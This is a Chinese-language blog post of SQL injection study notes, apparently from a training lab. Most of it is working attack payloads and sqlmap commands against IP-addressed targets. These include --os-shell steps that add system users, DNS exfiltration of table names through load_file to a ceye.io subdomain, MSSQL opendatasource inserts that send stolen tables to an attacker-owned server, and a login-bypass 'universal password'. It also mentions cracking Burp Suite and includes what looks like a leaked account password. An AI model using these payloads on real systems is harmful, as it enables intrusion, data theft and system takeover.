SQL注入記錄

sql 注入

1.盲注 (沒(méi)有回顯)
2.顯錯(cuò)注入
3.報(bào)錯(cuò)注入

顯錯(cuò)注入-聯(lián)合查詢(Mysql數(shù)據(jù)庫(kù))的基本流程

顯錯(cuò)注入-聯(lián)合查詢

  1. 是否存在注入點(diǎn)
  2. 猜字段數(shù)

' order by 1...<根據(jù)第n個(gè)字段進(jìn)行排序>' 可以看出有多少字段;

  1. 聯(lián)合查詢尋找輸出點(diǎn)

知道字段數(shù)后,不知道返參是那個(gè)字段,這樣可用聯(lián)合查詢 ' union select 1,2,3,4 '

正常查詢根據(jù)id只顯示第一條數(shù)據(jù),可是聯(lián)合查詢會(huì)將聯(lián)合查詢值1234,顯示在的二條;

這時(shí)需要將前面的數(shù)據(jù)排空:

正常查詢不到的值(id=9.9、'and 1=2'<報(bào)錯(cuò)語(yǔ)句>
limit 1,1 <從第一行數(shù)據(jù)取一個(gè)>

這樣就會(huì)顯示出查詢不到的值也就是的幾個(gè)到下一步(現(xiàn)在假設(shè)是第二個(gè)是回顯點(diǎn),后面的select 1 ,2 ,3,4中2這個(gè)參數(shù)才會(huì)顯示)

  1. 然后去系統(tǒng)自帶庫(kù)查詢庫(kù)名、表名、字段名
  1. 查庫(kù)名:可以將上步查詢到的第幾個(gè)字段換成’database()<當(dāng)前庫(kù)名>‘ (ps. union select 1,database(),3,4)

  2. 查表名(1):union select 1,table_name from information_schema.tables where table_schema ='上面得到的庫(kù)名' limit 0,1 (依次查詢) <information_schema:系統(tǒng)自帶庫(kù),mysql 5.0以上的版本內(nèi)置。如tables表,里面是數(shù)據(jù)庫(kù)中所有表和庫(kù)的對(duì)應(yīng)關(guān)系;table_schema系統(tǒng)自帶表>

  3. 查表名(2):union select 1,group_concat(table_name) from information_schema.tables where table_schema ='上面得到的庫(kù)名' group_concat():多行數(shù)據(jù)拼接

  4. 查字段名(1):union select 1,column_name from information_schema.columns where table_schema ='上面得到的庫(kù)名' and table_name = '上面的表名' limit 1,1

  5. 查字段名(2):union select 1,group_concat(column_name) from information_schema.columns where table_schema ='上面得到的庫(kù)名' and table_name = '上面的表名'

  1. 查詢我們需要的字段的值

根據(jù)上述信息可獲取數(shù)據(jù)庫(kù)中真實(shí)的值
union select 1,username <賬號(hào)密碼字段名> from <上面的表名>

  1. 回顯點(diǎn)顯示想要的內(nèi)容
數(shù)據(jù)庫(kù)語(yǔ)句必須閉合,’ --+ 或者 # ‘ 閉合單引號(hào);
很多時(shí)候 # 不會(huì)被瀏覽器解析 可使用 (%23);
`--+`是瀏覽器編碼 (空格會(huì)被替換成%20或者+);
`-- `就可閉合
古法

select * from news where id = 1 and 1=1;
select * from news where id = 1 and 1=2;

最簡(jiǎn)單

在url最后面加 '

教程(注意語(yǔ)句間空格)
  1. 數(shù)字傳參可嘗試 -1
    (www.xxx.com/new.php?id=1 and ...) 頁(yè)面顯示id=1的新聞;
    (www.xxx.com/new.php?id=2-1 and ...)頁(yè)面顯示id=1的新聞;
  2. and 1=1 and 1=2 被攔截的可能性太高,可嘗試 and -1=-1 and -1=-2
  3. or sleep(5)
sql 注入的常用工具

[匿名郵箱:]{https://bccto.me}

環(huán)境變量設(shè)置,為了是cmd或者其他程序不需要路徑直接開(kāi)啟程序 <環(huán)境變量的設(shè)置win:計(jì)算機(jī)>屬性>遠(yuǎn)程>高級(jí)>環(huán)境變量>在系統(tǒng)變量的變量’path‘的值中拼接 ";需要程序的路徑"

sqlmap 基本操作:
  1. 存在注入:sqlmap -u http://59.63.200.79:8003/?id=1
  2. 跑庫(kù)名:sqlmap -u http://59.63.200.79:8003/?id=1 --dbs
  3. 跑表名:`sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe --tables'
  4. 指定表跑字段: sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin --columns
  5. 獲取數(shù)據(jù):sqlmap -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin -C username,password --dump

直接跑出權(quán)限,且getshell

  1. sqlmap -u http://59.63.200.79:8001/single.php?id=1 --is-dba :看dba的權(quán)限,如果有權(quán)限則可能getshell
  2. sqlmap -u http://59.63.200.79:8001/single.php?id=1 --os-shell:有權(quán)限,去shell
  3. 會(huì)問(wèn)到用什么語(yǔ)言寫(xiě)的,按需求填寫(xiě):4
  4. 最后獲得os shell
  5. 可直接輸入:whoamiipconfig、net user、net user a b /add(添加系統(tǒng)用戶a,密碼b)、shutdown -t 0 -r(關(guān)機(jī)重啟) 等cmd的命令

sqlmap 直接跑包: sqlmap -r /Users/test/Desktop/1.txt
sqlmap 清理緩存:sqlmap --flush-session
sqlmap 可以直接暴庫(kù)等查詢數(shù)據(jù)庫(kù)的東西
sqlmap 在url后面添加 --form 表示post請(qǐng)求
sqlmap 提高等級(jí): sqlmap ... --level 3
sqlmap 知道閉合的時(shí)候可以:sqlmap -u http://59.63.200.79:8001/single.php?id=1")里的")就是閉合符號(hào)

Burpsuite 可以抓包;可以遍歷跟換字符;安裝證書(shū)后就可看到https的包內(nèi)容;
BurpSuite 破解安裝
[ .yd8."X:Pw"T796akMZoi989H3W|n[-!]這個(gè)是burpsuite的官網(wǎng)密碼,郵箱為475...
jdk百度網(wǎng)盤(pán)下載
mac 安裝jdk
burpsuite 下載1
burpsuite 下載2

可以跑數(shù)據(jù)包的方式,與sqlmap聯(lián)合,先將請(qǐng)求頭抓到后,保存到1.txt。此時(shí)如果知道哪里存在注入,就在哪里參數(shù)值后面加 *
用抓包的方式跑post注入的優(yōu)點(diǎn):1.可以加 * ,讓注入有重點(diǎn),不會(huì)出現(xiàn) --form 提交后出現(xiàn)破碎的數(shù)據(jù);2. 注入不一定在前臺(tái),有可能在后臺(tái),類似登錄狀態(tài)才會(huì)注入,也就是需要cookie

sqlmap.py -r c:/aaa/bbb/ccc/1.txt
post注入、head注入
post注入

經(jīng)典,萬(wàn)能密碼

'or 1=1#
ps.
select * from user where username='admin' and password = 'admin';
賬號(hào)添加 --+'
變形↓
select * from user where username='admin' --+' and password = 'admin';
變形↓ 將后面的注釋掉
select * from user where username='admin'(表示登錄時(shí),只需要賬號(hào)就可以登錄成功)

輸入內(nèi)容: 1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'#

和get差不多,看前面工具介紹

head注入

updatexml()這個(gè)一般配合 and 或者 or,他和聯(lián)合查詢不同,不需要在意什么字段數(shù)

select * from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

但是要注意and情況下只要一個(gè)為false,就會(huì)判定為false,and 后面的語(yǔ)句不執(zhí)行,所以建議使用or

某些沒(méi)有回顯盲注也可以用這個(gè)updatexml()做出來(lái)。但是報(bào)錯(cuò)一般有長(zhǎng)度限制,不能輸出太長(zhǎng)的數(shù)據(jù),盡量不要使用group_concat().

【有些盲注也可以試試看報(bào)錯(cuò)注入,因?yàn)橛械臅r(shí)候報(bào)錯(cuò)注入的知名錯(cuò)誤會(huì)顯示出來(lái),數(shù)據(jù)庫(kù)只忽略普通報(bào)錯(cuò)】

updatexml() 語(yǔ)法

更新xml文檔函數(shù)

updatexml(目標(biāo)xml內(nèi)容,xml文檔路徑,更新的內(nèi)容)

updatexml(1, concat(0x7e,(select database()),0x7e), 1)

實(shí)際上這里是去更新了xml文檔,但是我們?cè)趚ml文檔路徑位置里面寫(xiě)入了查詢,我們輸入的特殊字符,然后就因?yàn)椴环陷斎胍?guī)則報(bào)錯(cuò),但是報(bào)錯(cuò)的時(shí)候他其實(shí)已經(jīng)執(zhí)行了那個(gè)子查詢代碼!【0x7e實(shí)際是16進(jìn)制,MySQL支持16進(jìn)制,但是開(kāi)頭得寫(xiě)0x 0x7e是一個(gè)特殊符號(hào),然后不符合路徑規(guī)則報(bào)錯(cuò)】

盲注

盲注的重要函數(shù)

length('abc'):返回字符串長(zhǎng)度
substr(str,pos,len):截取字符串
ascii():返回字符的ASCII碼,
sleep(5):將程序掛起一段時(shí)間
if(expr1,expr2,expr3):判斷語(yǔ)句,如果第一個(gè)語(yǔ)句正確就執(zhí)行第二個(gè)語(yǔ)句如果錯(cuò)誤執(zhí)行第三個(gè)語(yǔ)句

盲注邏輯:看頁(yè)面是否顯示正常,正常表示對(duì)了,錯(cuò)誤表示不對(duì)。先用大于小于判斷范圍,最后用==驗(yàn)證

select * from news where id=1 and

查庫(kù)名長(zhǎng)度:當(dāng)臨界值顯示正常,表名庫(kù)名的長(zhǎng)度等于該值(此處表示長(zhǎng)度為6)

select * from news where id=1 and length((select database()))==6

查庫(kù)名字符,判斷每一個(gè)字符,將每個(gè)字符截取出來(lái)并且轉(zhuǎn)成ASCII碼比較大小

select * from news where id=1 and ascii(substr((select database()),1,1))==70

這樣就可以得出每一個(gè)字符,最終得到庫(kù)名

接下來(lái)就和之前一樣,一個(gè)一個(gè)判斷出來(lái)一直到最后的內(nèi)容

使用burp suite的方式:

抓包后用跑包的方式,不用判斷各種大小,而是直接看返回包的大小得出想要的字符。

抓包->右鍵send intruder->clear->add->payloads->set=1,type=numbers->options->from:1,to:128(ascii只有128個(gè)),step:1->sets中的count無(wú)變化則在base 選hex后再選回來(lái);開(kāi)始跑包;

使用條件語(yǔ)句和掛起語(yǔ)句

select * from news where id=1 and if(ascii(substr(database(),1,1))>120,0,sleep(10))

表示庫(kù)名的字符如果>120,就不延遲,否則延遲。通過(guò)是否延遲來(lái)得出最后的結(jié)果

使用sqlmap

sqlmap.py -u http://aaa.bbb.ccc
會(huì)直接得出結(jié)果,和有回顯的一樣

寬字節(jié)注入

在下列情況中使用:

  1. 存在魔術(shù)引號(hào)
  2. 要PHP編碼和數(shù)據(jù)庫(kù)不用,數(shù)據(jù)庫(kù)非萬(wàn)國(guó)碼 【常見(jiàn)的是GBK】

使用:

%df 或者

使用GBK編碼適用,針對(duì)中國(guó),其他的會(huì)有別的。 輸入的內(nèi)容會(huì)被轉(zhuǎn)義掉 id=
漢子編碼方式有很多種,有三字節(jié)編碼方式和二字節(jié)編碼方式(GBK是二字節(jié)編碼)

select * from news where id='1\'' 有轉(zhuǎn)義字符,

access cookie注入
  1. 判斷是否存在
  1. 參數(shù)在cookie中可以傳遞,【www.xxx.zzz/id=1】=>【www.xx.zzz + cookie[id]=1】 顯示是一樣的,表示存在
  2. 看 cookie 拼接參數(shù)后是否可注入
  3. cookie注入的字符必須進(jìn)行url編碼
  1. sqlmap 跑cookie注入

sqlmap.py -u "http://aaa.bbb.ccc/news.asp" --cookie "id=171" --level 2

  1. 在瀏覽器直接進(jìn)行操作有兩種方式
  1. 在F12后的Application->cookie 添加參數(shù)

  2. 在console中直接操作

document.cookie="id="+escape("171 and 1=1")
document.cookie="id="+escape("171 and 1=2")
document.cookie="id="+escape('171 union select 1,2,3,4,5,6 from admin')

偏移注入【有回顯點(diǎn)】

知道數(shù)據(jù)庫(kù)名,表名,不知道字段名的情況
要求:聯(lián)合查詢前的字段要大于聯(lián)合查詢后的字段
回顯3,5,7號(hào) admin中有很多字段

document.cookie='id='+escape('171 union select 1,2,3,4,5,6,7 from admin')
偏移 '171 union select admin.*,1,2,3,4,5,6,7 from admin') ;意思就是會(huì)將admin表中的第三個(gè)字段輸出到回顯點(diǎn)的3號(hào)位,回顯是幾,就會(huì)顯示第幾個(gè)字段的值
再偏移 '171 union select 1,2,admin.*,4,5,6,7 from admin') ;意思就是會(huì)將admin表中的第一個(gè)字段輸出到回顯點(diǎn)的3號(hào)位

MySQL dns注入

在某些無(wú)法直接利用漏洞獲取回顯的情況下,但是目標(biāo)可以發(fā)起請(qǐng)求,這個(gè)時(shí)候就可以通過(guò)dnslog將數(shù)據(jù)帶出來(lái);對(duì)于sql盲注,常見(jiàn)的方法是一個(gè)一個(gè)猜,但是麻煩且會(huì)被ban。所以可以將select到的數(shù)據(jù)發(fā)送給一個(gè)url,利用dns解析產(chǎn)生的log查看數(shù)據(jù)

直接查詢一個(gè)文件 可將盲注轉(zhuǎn)為顯錯(cuò)注入
使用函數(shù):load_file(‘c:/.../.../1/txt’) 讀取文件的函數(shù)

select load_file('../../../aaa/bb/1.txt') 返回查詢出的1.txt

擴(kuò):insert into table (fileId,UserId,value) values (1,2,load_file('/data/test.txt')) 表示直接將文件插入到數(shù)據(jù)庫(kù)中,掛東西

敏感文件:Linux: /etc/passwd win: c:/windows/win.ini

步驟:

  1. ceye.io注冊(cè)下,這個(gè)專門(mén)做dns的,手機(jī)號(hào)碼可以用阿里小號(hào)。最終會(huì)得到一個(gè)二級(jí)域名,在identifier中;該網(wǎng)站會(huì)記錄dns解析了一些什么東西

  2. 隨時(shí)查看 DNS Query ,里面是dns的訪問(wèn)日志;ping的時(shí)候前面加隨便(泛解析)

  3. xxx.xxx.xxx/a.php 在有狗的情況下繞狗(之一)xxx.xxx.xxx/a.php/1.txt

  4. xxx.xxx.xxx/a.php/1.txt?id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.hp0zyr.ceye.io/abc.txt))) 解釋:讀取文件;獲取表名;表名16進(jìn)制繞解析;拼接dns服務(wù)的地址;

  5. ceye.io 中的dns日志中可以看到三級(jí)域名字符,就是最終要獲得的數(shù)據(jù);

MSSQL 反彈注入 (別人訪問(wèn)自己的服務(wù),對(duì)方是沒(méi)有日志的,只能用在SQL sever數(shù)據(jù)庫(kù))
  1. MSSQL反彈注入場(chǎng)景
  • 普通手法無(wú)法實(shí)現(xiàn)注入內(nèi)容,通過(guò)mssql反彈實(shí)現(xiàn)注入

  • 實(shí)際就是把查詢出來(lái)的數(shù)據(jù)發(fā)送到自己的mssql服務(wù)器上

  1. 搭建MSSQL環(huán)境
  • http://www.webweb.com 香港云,
  • 注冊(cè)用匿名郵箱,并試用
  • 進(jìn)入到自己的主機(jī)
  • 數(shù)據(jù)庫(kù)管理 ->sql server管理
  • 創(chuàng)建數(shù)據(jù)庫(kù) (記錄數(shù)據(jù)庫(kù)信息,后期需要使用)
  • 得到數(shù)據(jù)庫(kù)的url
  • 可在sql server控制臺(tái),輸入信息后操作數(shù)據(jù)庫(kù)
  • 可以在控制臺(tái)的Run Query 用sql語(yǔ)句創(chuàng)建表
  • 這樣就有了一個(gè)sql server服務(wù)器,可以遠(yuǎn)程操作,用來(lái)將別人的數(shù)據(jù)信息寫(xiě)入自己的數(shù)據(jù)庫(kù)
  1. 語(yǔ)句 opendatasource(provider_name,init_string)

insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select *from admin -- qwe

解釋:
provider_name:注冊(cè)為用于訪問(wèn)數(shù)據(jù)源的OLE DB提供程序的PROGID的名稱 MSSQL的名稱為SQLOLEDB

init_string:

鏈接字符串;
鏈接地址、端口、用戶名、密碼、數(shù)據(jù)庫(kù)名
server=鏈接地址url,端口;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫(kù)名稱
連接上服務(wù)器后選定數(shù)據(jù)表DB_14ABC_AB_admin.dbo.表名吧后面語(yǔ)句的查詢結(jié)果插入到那個(gè)表里面

  1. 靶場(chǎng)分析
  • select * from news where id='1' union all select 1,2,3 from news --qw 顯示錯(cuò)誤,字段不一定是數(shù)值類型,要用無(wú)類型接收

  • select * from news where id='1' union all select null,null,null from news --qw 執(zhí)行成功

  • select * from news where id='1' union all select null,null,1 from news --qw 開(kāi)始判斷回顯點(diǎn),但是錯(cuò)誤,表示 1 不是數(shù)值類型,是字符串

  • select * from news where id='1' union all select null,null,abc from news --qw 出現(xiàn)回顯點(diǎn)

  • 需要庫(kù)名、表名、字段名;語(yǔ)句解釋:

  1. select * from dbo.sysdatabases:查詢系統(tǒng)庫(kù)
  2. select * from dbo.sysobjects:查詢系統(tǒng)表(xtype='U') -> select * from dbo.sysobjects where xtype = 'U' U:用戶創(chuàng)建的表;S:系統(tǒng)創(chuàng)建的表
  3. select * from dbo.syscolumns:查詢字段(id=)指定sysobjects庫(kù)中表名對(duì)應(yīng)的id ;ID 為上個(gè)查詢語(yǔ)句,查表明的時(shí)候回返回這個(gè)id值
  • 測(cè)出三個(gè)回顯點(diǎn)都是什么類型的

  • 需要id是數(shù)值類型的,表名是字符類型的

  1. http://aaa.aaa.aaa/?id=1' union all select id,name,null from dbo.sysobjects where xtype='U' -- qwe 不用查庫(kù),直接查表,得到表名和id
  2. http://aaa.aaa.aaa/?id=1' union all select null,name,null from dbo.syscolumns where id='id' -- qwe 得到字段名
  3. http://aaa.aaa.aaa/?id=1' union all select null,字段,null from 表名 -- qwe 得到字段名
  4. 使用反彈:(注意自己服務(wù)器的字段數(shù)量和侵入數(shù)據(jù)的字段數(shù)量,可以多建幾個(gè)表,在不同的表之間切換
  1. http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select *from admin -- qwe 知道表名的情況下,但是這種沒(méi)有意義;所以變形↓
  2. http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select id,name from dbo.sysobjects where xtype='U' -- qwe 這個(gè)是在自己的服務(wù)上知道了,表名和表的id;然后再查詢表中的字段
  3. http://aaa.aaa.aaa/?id=1'; insert into opendatasource ('sqloledb','server=SQL5006.webweb.com,1433;uid=DB_14ABC_AB_admin;pwd=123456;database=DB_14ABC_AB_admin').DB_12ABC_zka.dbo.temp select name,null from dbo.syscolumns where id=自己服務(wù)上的id -- qwe 這個(gè)是在自己的服務(wù)上知道了,字段名;重復(fù)第一步,得到最后數(shù)據(jù);
Oracle注入 報(bào)錯(cuò)注入 主要是語(yǔ)法和MySQL不一樣,過(guò)程還是一樣的
  1. 注入函數(shù)
  2. 報(bào)錯(cuò)注入、聯(lián)合查詢(union all)

查詢所有的表

select * from all_tables 所有表
select * from all_tables

  1. 演示:
  2. 基本操作

select 1,2,3 from dual dual是強(qiáng)行格式化,為了滿足oracle數(shù)據(jù)庫(kù)嚴(yán)謹(jǐn)?shù)恼Z(yǔ)法
select dbms_random.random from dual 產(chǎn)生隨機(jī)數(shù)
select user from dual當(dāng)前用戶名
select 9+1 from dual 可以運(yùn)算
select * from all_tables查詢?nèi)康谋?br> select * from all_tables where owner='當(dāng)前用戶名' 用戶名下的表
select * from user_tables 當(dāng)前用戶名下的表,和上面一樣的效果
select * from user_tab_columns當(dāng)前用戶下的所有字段
select * from user_tab_columns where rownum=1相當(dāng)于limit 0,1
select * from user_tab_columns where rownum<3 相當(dāng)于limit 0,2
select * from user_tab_columns where rownum=1 and column_name!='id' 其中:<>!=不等于的意思
select * from v$version版本

報(bào)錯(cuò)注入函數(shù)

Ctxsys.drithsx.sn(user,(select banner from v$version where rownum=1))
去查詢關(guān)于主題的對(duì)應(yīng)關(guān)鍵詞,然后因?yàn)椴樵兪。☉?yīng)該是這個(gè)用戶沒(méi)有創(chuàng)建和查詢權(quán)限,默認(rèn)情況沒(méi)有創(chuàng)建,爆出未查詢到的錯(cuò)誤,從而爆出查詢的內(nèi)容)

使用步驟:

  1. http://59.63.200.79:8808/?id=1 And 1=Ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1)) -- qwe:得到news表

  2. http://59.63.200.79:8808/?id=1 And 1=Ctxsys.drithsx.sn(1,(select table_name from user_tables where rownum=1 and table_name<>'NEWS')) -- qwe:得到除了news的表

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容